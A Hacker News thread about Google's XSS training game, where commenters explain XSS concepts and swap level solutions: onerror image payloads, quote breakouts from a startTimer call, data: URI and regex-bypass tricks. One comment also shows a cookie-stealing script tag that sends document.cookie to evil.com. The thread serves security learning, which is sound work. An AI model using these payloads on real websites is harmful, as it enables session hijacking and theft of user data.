Hacker News new | past | comments | ask | show | jobs | submit login
Google's XSS game (xss-game.appspot.com)
376 points by morphics on May 29, 2014 | hide | past | favorite | 156 comments




For those interested in XSS challenges, there's also http://escape.alf.nu , which I think has a slightly better UI.


I hate the spoilers in the Facebook comments though.


I asked this question once on SO and never really got a "great" answer I was after.

If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site?

So I'm curious if an attacker can gain anything by looking at their own XSS attack?

http://stackoverflow.com/q/10265624/1317935


Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.


POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).


Isn't that CSRF, though?


CSRF is what allows you to post. XSS is what happens after it is posted.


If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.


You will be vulnerable to reflected XSS but not persistent XSS attacks.

Persistent attacks are generally considered to be more dangerous, but reflected attacks are still quite bad.


Do you have CSRF protection on login? If not, an attacker can add an XSS attack to their own account, then log the victim into the attacker's account by submitting a cross-site post request with their username and password. This could potentially then read data from any other accounts the victim is logged in to at the same time. If you don't support multiple simultaneous logins, it could still allow the attacker to generate a phishing page, at your URL, which sent them back any data the user entered.


I think the real answer to this one is not really. Most of the possible attacks are either unrealistic or only possible if you're doing something stupid to begin with.

That said, there is still no excuse to trust user input. Always protect against XSS like you always protect against SQL injection.


That was a lot of fun, appropriate amount of difficulty for noobs like me.

The best part is the hints, too many of these sites have points where I go "Oh, well I don't know how to do this, and I don't see how I could figured it out, so I guess I'll just leave"


I probably should be too embarrassed to ask this question, but why can't I use script tags in the second test? I don't understand what's preventing me from doing that.


The second question disallows the script tag.


How is it doing that?


Using <script> ... as a payload won't work because the browser won't execute scripts added after the page has loaded.


The browser smartly won't execute scripts added through innerHTML, but it probably should be noted that jquery's html() method will[0]. There's always a way to shoot yourself in the foot. :)

[0] http://api.jquery.com/html/



it's not blocking the scripts from being inserted. Inspect the DOM and you'll see them there.


Google has another game for learning webapp exploits and defenses here: https://google-gruyere.appspot.com/

I tried it a while back and enjoyed it quite a bit. I forget if I completely finished it or not, but it was educational.


Does anyone know how to submit corrections to Google? I've not been able to find a way after noticing a few mistakes on Google's XSS help page. There are a few examples using an image tag but the tags haven't been closed properly:

https://www.google.com/about/appsecurity/learning/xss/index....

e.g. "Now, enter <img src='' onerror="alert(document.cookie);" and hit 'Share status!'."


Hey, thanks - it's a valid concern, though an important point (which isn't really well explained in the document) is that this payload will work even if the tag isn't properly terminated.

One of the reasons for using such broken payloads is to demonstrate that browsers will happily parse broken markup and that approaches such as removing "<.*>" won't be effective as a technique to prevent XSS (because such a regexp won't match an unterminated tag like the example you pointed out).

Still, it could at least use a better explanation. The documentation fairy will take a look!


Thank you for this explanation. It makes sense to me now as before I would have expected the "<.*>" approach to make it safe. It's a shame browsers are so resilient :)


Some of their products have bug trackers. That said, I submitted some fixes to their Android docs in the Android issue tracker years ago. Really obvious stuff like where their sample code would cause a crash due to trying to start a dialog with the wrong type of context, etc.. They never fixed them. So there is essentially no way. They apparently have a bug bounty system, but you would have to exploit their mistakes to do injection or something before the mistake would qualify.


Thanks for at least attempting to contribute! If you'll point me towards the patches, or at least the bad docs, is be happy to help get them fixed.


"There will be cake at the end of the test."

That's what the computer said LAST time. But I'm still alive... ;)


Ahhh, that's what that was! http://snag.gy/43JI3.jpg


Spoiler alert!


Hehe I immediately spotted it too :p


Fun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had to switch to Firefox and redo the whole test. For my external script I used http://pastebin.com/raw.php?i=15S5qZs0, although I don't think the lack of a .js extension there was the problem.


I hope this isn't a spoiler, but remember there are other ways to load resources without an external request. You can pass that stage without any requests to external servers.


Care to spoil how? I used an external server (Dropbox), but I'd love to know how to do it without.


SpoilersrandomletterssdataurlSpoilermorerandemletters


I had to manually remove the https:// in front of the URL for it to work. The following error is:

[blocked] The page at 'xss-game' was loaded over HTTPS, but ran insecure content from 'script-url': this content should also be loaded over HTTPS.


got the same problem, it only works with a https address !


Nope. Works even if you use an address without http, but beginning with only "//"


In that example "//" is just another way to say "https://", though.


I had the same issue, I think it depends on browser configuration. Some browsers disallow http content on https pages.


The regex is case sensitive. That's how I solved it.


haha so obvious yet I completely missed that! I went with a protocol-relative url [0]

[0] http://www.paulirish.com/2010/the-protocol-relative-url/


Weird. It worked fine for me in chrome.


This is really interesting. Does anyone have any recommendations for similar sites/challenges? I'm aware of this: https://microcorruption.com/, which is somewhat related.


Level 4 has a bug. Entering a string in the text box for the timer solves the problem, but putting that string directly as the get parameter in the URL doesn't. Anyone know how to report this?


What payload are you using on that level? Keep in mind that ";" is often treated as a parameter separator in URLs, similarly to &. If you put it into the mock URL bar it will terminate the value of your parameter (see also http://en.wikipedia.org/wiki/Query_string#Web_forms)

PS. Consider it reported, thanks!


Escaping the ';' works on that one


Also using the ',' operator works.


Thankyou. I was trying my payload but couldn't get it to work. I'm sure there's a better way to do it.


Do you have a '+' in your string? In URL it's interpreted as a space, use '%2B' instead.


How do you solve lv4?


' after the timer value, then proceed to construct a JS expression that will be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate nicely. Don't forgot the "open" the ' again.


I can't figure how to close the quote after the '99 ? I realise that specifying ' on URL gets encoded to %27 but not sure how to turn that into the closing ' for startTime('99'); .....

Help!


Can you elaborate on this? I tried that and got "unexpected identifier" as a console error. Not sure how it works.


The point is to break out of the startTimer() function call, e.g.:

    startTimer('');foo();//');
The remaining '); can be commented out in order to not create any syntax errors.


SPOILER ALERT

I used this: 1'* alert()* '

(without the spaces needed for markdown here)


Could you explain why the * works in there?


JS does automatic type conversion in this case, so it's syntactically correct to multiply a string with a number (or function result). We're just interested in the side-effects of alert(), so it doesn't really matter what kind of expression we use it in, as long as it parses correctly and causes alert() to be executed (evaluated).


Nice!


[deleted]


nope, OSX Safari


still not able to get :-(


Use the text input instead of the url.


You could use %2b instead of + on the URL and it'll work, or just * as mentioned above.


' + alert() + '

worked for me.


can't solve it either :-/


In the text input I put:

3') + alert('


add your alert to the img onload


Their background image is successfully reproducing the nauseating effects of this monitor test [1]. I can't look at it for long without experiencing physical discomfort.

Perhaps disabling it is part of the game.

[1]: http://www.lagom.nl/lcd-test/inversion.php


Is there more than way to attack level 3?

SPOILER: I used the "        html += "<img src='/static/level3/cloud" + num + ".jpg' />"; " untrusted injection, but after reading the hints it seems to be suggesting window.location and the postmessage to parent stuff.


This is great! XSS is one of the hardest things to get right when it comes to security. I'll be sure to complete all the challenges, because I'm working on a product that could use some good HTML sanitizing.


Nice one; I gave up trying to solve the last with the http-only google.com/jsapi and hosted my own with https, but then it occurred to me that it's even more trivial than I thought!

Checking our stuff for this mistake now ...


I used "//" to get around the http regex (but this requires using an https host as you mentioned), is there another way to get around the regex?


Adding a space just before the URL works just as well.


Spoiler: RaNDoM cApS


//www.google.com/jsapi?callback=alert


data:,alert('hi')


Use upper-case characters


i think ftp:// works too

EDIT: no, it doesn't :D


SPOILER: You need a way to defeat the regex (see other comments here). Then think about what the "foo" actually does (and read the error console).


What's the trivial solution to this? I also wound up hosting the malicious file on my personal server...


data-uris also work: #data:text/javascript,alert('pwn')


That's what I used too. Hosting scripts is far too much like hard work...


There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.


I put a small gist up and hotlinked through githack.com


gist.github.com serves https, so you can use it whenever you need something sent over https.




Looks like using Google's jsapi callback to pop-up the alert doesn't work any more, so that tip in the last one is misleading.

(unless I was doing it wrong)


Finally made ​​it all levels ;). http://rawgit.com/ was helpful


What is lvl2's answer? I'm trying:

<img src='invalid_link.png' onerror="this.src='alert(1);'">


My solution was:

     <img src="foo" onMouseOver="alert(33);"
Interesting to see so many people used onError instead.


One of the hints says you can use onError()

I'm sure that's where most people are getting it from.


img src='garbage' onerror='script' is gauranteed to auto execute, where mouseover requires the user to mouse over the element.


onerror= is usually the one used in CTF and XSS examples!


I used just onclick


just onerror="alert(1)" :)


I did <a onclick="alert('hakz');">click</a>


Me too, except I used a button tag. Feels like cheating though.


How to solve level 5? :((( I tried a lot with onClick and different js scripts on querry parameter... nothin' :(((


I completed the game, but I honestly don't know: why wouldn't inject a script tag directly in level 2 work?


The hint for level 3 reads:

  As before, using <script> ... as a payload won't work
  because the browser won't execute scripts added after the 
  page has loaded.
How do you solve level 3?


For me it actually worked to use a script tag, but I'm confused about why, as the hint says it shouldn't.

This is the URL I used:

    https://xss-game.appspot.com/level3/frame#'><script>alert('bla')</script>
But the hint is hinting at something more like this, I think:

    https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')">
Can somebody explain why the first one worked? Are they wrong when they say that the browser won't execute scripts added after the page has loaded?


Interestingly, modern WebKit browsers include an "XSS auditor" that will refuse to run javascript sent in the request that loaded the page. It's pretty good (and open-source), so figuring out a way to have XSS without hitting the auditor is a big win for the attacker.


Might be because the script is injected during `onload`, which is arguably the very end of the page-loading process. But, yeah, the hint is clearly incorrect in the latest version of Chrome.


Why do we need the single quote after the # sign? I don't understand why and would like to know.


As "sbd" said, the "html +=" statement is using the "num" parameter as it is.

The real problem is the substring(1) function which passes the "num", instead of making sure the length is 1 it is allowing everything.


in the chooseTab function you have the following line: html += "<img src='/static/level3/cloud" + num + ".jpg' />";

the src opens with a single quote and looks for the 'num' var. So instead of num in the URL, you close the single quote and then close the image tag, and then run your script.


Similar to level 2 - just be careful about escaping out of the image src, and making sure the rest of the line is invalidated. Think about how you would do it if you were writing JS on your own...


try '>


Eugh, I'm blind. Thanks!


Because you can't have tags inside of textarea. All data inside of textarea is interpreted as text.


This should really direct to the http instead of https version to avoid the mixed content error for problem 6.


the google jsapi has SSL set up, so mixed content shouldn't be an issue. See: https://www.google.com/jsapi?callback=alert


on level 5 i tried to modify the url, but my quotes are automatically encoded, also tried encoding it using %22.. but didn't work.. I'm using chrome on osx, could it be a browser thing, i managed to get it to work by manually modifying the html using the developer tools :p


last hint helped me


Wee, cake is not a lie this time. Nice!


I love this. I know very little about xss and web app security so this is a fun way to learn.


Loved it. Though got struck in Lvl4 and 6. But lvl4 was really a smart question.



This works also, and doesn't require a hosted file: https://xss-game.appspot.com/level6/frame#data:text/plain,al...


Also just putting a space in front of https:// works, the script tag handles the leading space just fine.


Even simpler - Https://


Don't know that's it's necessary to put the spoiler here. The hints provide an alternative to hosting a file.


can someone share theirs hosted script that echos and alert? :D


data:text/javascript,alert('foo')


Thank you sir! I learned something new today =)


Thank you!





Just add a foo.js file to any of your GitHub repos, grab its raw URL and pass it through rawgit.com.


//dl.dropboxusercontent.com/u/18177522/google_xss_game/alert.js


They provided a hosted callback in the clues. Just change foo to alert.


The callback in the hints didn't work for me in the game, but the other suggestions here are working and quite eye opening ...

That this works is really scary if not fully surprising: data:text/javascript;base64,YWxlcnQoMTMzNyk=

Thanks jehna1 , sebslomski , all!


it works, you just gotta use it like google.com/jsapi?callback=alert


You don't need to:

data:text/javascript;base64,YWxlcnQoMTMzNyk=


So, does the cake have a recruiting message encoded in it? :)


So did anyone else cheat their way to the cake level?


I'm only trying to solve it for the cake.


Ah, I'm supposed to toggle the "Target code" box :) Ugh, I used DevTools to look at the <iframe> code for the first 3 steps.


I enjoyed the game ! thanks


Someone solved the level 6?


Hint: there are other URL schemes.


you can use ftp or just prepend a space before http


That was super fun!


Finally, cake.


haha took me a while to pass level 2


learned some new things thanks


can someone help with level 5?



* SPOILERS *

For #5 you can just do javascript:alert()


.


Nice ! Thanks for sharing :-)


I had fun with this; definitely a good mini game to learn more about XSS, although it's a pitty that you can cheat-pass a level simply by appending '/record' to the end of the URL. (Granted it's just a game)

I.e. https://xss-game.appspot.com/level1/record allows you to go straight onto level 2.

Anywhoo, HackThisSite is similar & worth checking out (albeit it covers a wider range of web app security issues)


Hello there.

How can you solve level 2 ? I used next sentence, but, it don't work.

<img src=x onerror=prompt(/xD/)>

Any suggest ?


Well the first levels are trivial, right click "inspect element" and adding a onClick="alert();" on a random button and tadaa. I'm not sure you can qualify this as XSS attack though, can you?


You did it wrong.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: